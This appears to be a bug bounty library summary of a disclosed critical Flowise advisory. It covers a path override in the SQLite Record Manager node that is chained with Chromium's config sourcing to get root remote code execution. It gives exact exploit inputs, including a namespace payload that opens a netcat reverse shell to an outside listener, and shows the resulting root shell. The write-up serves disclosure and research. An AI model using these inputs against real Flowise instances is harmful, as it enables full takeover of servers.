# Flowise RCE via SQLite Record Manager Node

Flowise SQLite Record Manager's additionalConfig overrides the DB path, letting an authenticated user write a crafted SQLite file to /etc/chromium/*.conf and get root RCE via Puppeteer.

- Payout: Research
- Severity: critical
- Program: Flowise
- Found by: alex-elttam
- Disclosed: 2026-08-04
- CVE: CVE-2026-69259
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-x3hf-7cj6-3r4m
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-x3hf-7cj6-3r4m
- Tags: area:ai domain:ai impact:privesc impact:rce kind:research platform:ghsa sev:critical tech:chromium tech:nodejs technique:chained technique:source-review vuln:command-injection vuln:path-traversal vuln:rce

**Target:** Flowise SQLite Record Manager node / Chromium config loader
**Root cause:** The node spreads user-controlled additionalConfig after the intended database path, so the SQLite file location is attacker-chosen; the container runs as root and Chromium sources /etc/chromium/*.conf as shell.
**Steps:**
1. Set `additionalConfig` to `{"database":"/etc/chromium/exploit.conf"}` on the SQLite Record Manager node.
2. Set `tableName` to `AAAAAAAAAAAAA` so its serial-type length byte encodes as `'` (0x27) in the SQLite index cell.
3. Set `namespace` to `'$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh)` to close the injected quote and inject command substitution.
4. Run an Upsert Vector Store operation to create the malicious SQLite DB at /etc/chromium/exploit.conf.
5. Trigger Puppeteer (e.g. via SQL Database Chain node) so chromium-browser sources /etc/chromium/*.conf, executing the reverse shell as root.
**How found:** After the tableName regex blocked the prior GHSA-pwfj-wh95-7mwp technique of commenting out parentheses, the researcher inspected the SQLite binary record format and realized the table name length byte is stored as a serial type — choosing a 13-char name yields serial type 0x27 (`'`), injecting a quote that wraps the problematic `()` and is closed by the namespace field.
**Exploitation:** Authenticated user writes a crafted SQLite database into /etc/chromium/exploit.conf; when Puppeteer launches chromium-browser, the wrapper sources all /etc/chromium/*.conf files, executing the embedded command substitution and returning a root shell to the attacker's listener.
**Escalation:** Chained arbitrary file write with Chromium's config-sourcing behavior and root container runtime to convert a path-override bug into full RCE.
**Insight:** When string inputs are regex-validated, look at how they are serialized in binary formats (e.g. SQLite serial-type length bytes) — length alone can smuggle a quote character past character-level filters.

## Proof of concept (copied exactly from the original report)

**Malicious node inputs: database path, tableName, namespace payload**

```
the `additionalConfig.database` input for the SQLite Record Manager node is set to `/etc/chromium/exploit.conf`, which is the destination the SQLite database will be created. The `tableName` input is set to `AAAAAAAAAAAAA`, so the encoded serial type of its length would be `'`, and the `namespace` is set to `'$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh)` to close the previous `'`
```

**Reverse shell listener output proving root RCE**

```
$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 40677
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```